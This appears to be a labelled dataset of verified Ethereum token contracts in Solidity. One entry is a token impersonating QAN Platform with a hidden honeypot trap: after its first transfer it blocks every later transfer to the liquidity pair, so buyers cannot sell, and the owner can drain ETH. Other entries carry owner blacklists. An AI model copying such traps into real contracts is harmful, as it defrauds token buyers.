function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract LUMA is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "LUMA";
string public constant symbol = "LUMA";
uint public constant decimals = 8;
uint256 public totalSupply = 500000000e8;
uint256 public totalDistributed = 50000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function LUMA () public {
owner = msg.sender;
value = 100e8;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
// SPDX-License-Identifier: UNLICENSED
/*
Dumbledore Inu
Dumbledore Inu is a meme token designed with a deflationary purpose with a effective burn function.
The reason why Dumbledore Inu is designed with a burn function is simply because we want to pay tribute to his glorious and faithful pet - Fawkes.
https://dumbledoreinu.com
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "DUMBLEDORE inu";
string private constant _symbol = "DINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xAcABAAD572D67B035dBFF22F1a7790ea8A5E9995);
_buyTax = 10;
_sellTax = 10;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 2000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-25
*/
pragma solidity ^0.4.26;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NV_SwissFranc is Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "CHFn";
name = "NV Swiss Franc";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) external constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) external returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) {
return this.transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
/*
Quantum-resistant hybrid blockchain platform.
Build your software applications like DApps or DeFi and run business processes on blockchain in 5 minute.
Telegram Announcements Channel: https://t.me/QANplatform_ANN
Website: qanplatform.com
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = " QANX Token ";
name = "qanplatform.com";
decimals = 8;
_totalSupply = 3333333 * 10**3 * 10**8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
/**
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
*/
contract QANPlatform is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
}
/**
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
*/ | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
